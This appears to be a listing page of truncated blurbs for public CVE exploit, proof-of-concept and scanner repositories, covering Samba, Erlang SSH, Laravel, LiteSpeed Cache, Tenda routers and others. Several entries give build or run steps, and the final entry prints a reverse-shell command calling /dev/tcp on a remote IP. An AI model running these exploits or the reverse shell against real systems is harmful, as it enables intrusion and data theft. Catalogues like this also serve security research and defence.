loader-CVE-2020-14343

loader-CVE-2020-14343 PyYAMLパッケージの安全でないデシリアライゼーションによりコマンド実行を引き起こすCVE-2020-14343に対して脆弱なWebアプリケーション。 解説： https://github.com/TebbaaX/CTFs/blob/main/HackerNewsBdarija-CTF-2022/loadder/Loader.md...

SambaHunter

SambaHunter It is a simple script to exploit RCE for Samba CVE-2017-7494. Now works with Python3. Many of the required Python2 libraries are deprecated e.g. commands Added logging to show which shares are writeable. If 'Exploit Finished' appears but no shares are writeable, the exploit didn't wor...

nmap-vulners

nmap-vulners Turn an nmap service scan into a ranked list of CVEs, exploits and what is being attacked in the wild. One NSE script that takes the software nmap already identified, asks the Vulners database what is known about it, and prints the answer inside the scan report - worst first, by what...

Analytics Insights for Google Analytics 4 < 6.3 - Open Redirect

The plugin is vulnerable to Open Redirect due to insufficient validation on the redirect oauth2callback.php file. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action. id: CVE-2024-0250...

CVE-2022-33980-Apache-Commons-Configuration-RCE

CVE-2022-33980-Apache-Commons-Configuration-RCE...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 Remote Shell Go-based exploit for CVE-2025-32433 returning a remote bash shell. Heavily inspired by understanding of exploit derived from ProDefense's PoC for CVE-2025-32433. Running the Exploit root@kitploit: make exploit.exe is also made available for Windows machines by the...

VMware_ESXI_OpenSLP_PoCs

VMwareESXIOpenSLPPoCs CVE-2020-3992 & CVE-2019-5544 Tested on ESXI installed on VMware Workstation. If on real mechine, you may need to change the srvtype field service:VMwareInfrastructure...

mbadanoiu

Welcome to the Weekend Retreat of Matei "Mal" Badanoiu This GitHub is used to post my CVEs and Security Research during my free time/weekends. All materials present in this GitHub profile are meant for security research and etichal hacking. I do not condone malicious behavoiur such as hacking...

Fastjson--CVE-2017-18349-

Fastjson--CVE-2017-18349-Cancel changes After setting the project as a Maven project, run note: using a higher version of JDK may fail, it is recommended to use JDK version 1.8.65 Just run the main function of FastjsondemoApplication.java TouchFile.java file root@kitploit: import java.lang.Runtim...

CVE-2024-28000

CVE-2024-28000 litespeed-cache =6.3 用の CVE-2024-28000 エクスプロイトです。管理者アカウントを作成して権限昇格を可能にします ビルド root@kitploit: git clone https://github.com/JohnDoeAnonITA/CVE-2024-28000 cd CVE-2024-28000 go build . 免責事項 このPoCは教育目的のみを対象としています。システム所有者の明示的な許可なしに、このスクリプトをシステムへの攻撃に使用しないでください。システムへの不正アクセスは違法かつ非倫理的です。...

CVE-2021-3129-exp

Laravel Debug Mode RCE Vulnerability CVE-2021-3129 POC / EXP CVE-2021-3129 EXP / POC ⚠️ Note: Due to the fact that exploitation and detection of this vulnerability require multiple requests, the process may be slow. Usage: root@kitploit: python CVE-2021-3129.py usage: python CVE-2021-3129.py -u ur...

project_BIT_nmap_script

Python program to detect vulnerability with CVE-2022-32073 in large networks This python program runs nmap on an address passed as an argument, by default it runs on all ports but port number can also be given as an argument. It runs nmap with custom created wolfsshversion.nse scripts which uses...

honeypot.rs

honeypot.rs Honeypot that scopes CVE-2023-46604 Apache ActiveMQ RCE Vulnerability and focused on getting Indicators of Compromise. This honeypot can be used in any Threat Intelligence infrastructure to get attacker's IP adresses, Post-Exploitation samples and malware samples. This information can...

CVE-2023-37771

This repository does not have a README...

CVE-2019-17621

DLink RCE vuln CVE-2019-17621 unauthenticated rce FAT can emulate this so plz use attifyos...

CVE-research

CVE-research A repository that contains all the working PoC I have crafted for known CVEs, and details on any ongoing research I am currently doing mostly Iot devices Note on working PoC exploit scripts/payloads 1. Use the exploit scripts ethically and responsibly! I will not be responsible for a...

CVE-2023-29489

CVE-2023-29489 SynixCyberCrimeMY CVE-2023-29489 Scanner By SamuraiMelayu1337 & h4zzzzzz@scc How To Usage ? git clone https://github.com/SynixCyberCrimeMy/CVE-2023-29489 cd CVE-2023-29489 pip3 install -r requirements.txt python3 eksepelot.py Thanks To All SynixCyberCrimeMY Members...

CVE-2022-37122-Exploit

CVE-2022-37122 Path Traversal Scanner A robust and feature-rich scanner for detecting the Carel pCOWeb logdownload.cgi path traversal vulnerability CVE-2022-37122. Designed for security researchers and authorized penetration testers. 🚨 Important Notice EDUCATIONAL / BUG BOUNTY USE ONLY This tool ...

Tenda-F3-V4

Tenda F3 ルーター エクスプロイト & ファイルダウンローダー このプロジェクトは、認証不要の脆弱性（CVE-2020-35391）を利用して Tenda F3 ルーター（v3/v4）から各種ファイルをダウンロードするためのツールです。脆弱性のあるルーターから設定ファイル、システムログ、フラッシュダンプを取得できます。 概要 このスクリプトは Tenda F3 ルーターで見つかった脆弱性を悪用し、攻撃者が認証なしで機密ファイルをダウンロードできるようにします。具体的には、以下のファイルをダウンロードできます（パスワード変更機能の追加にも取り組んでいます）： 設定ファイル...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...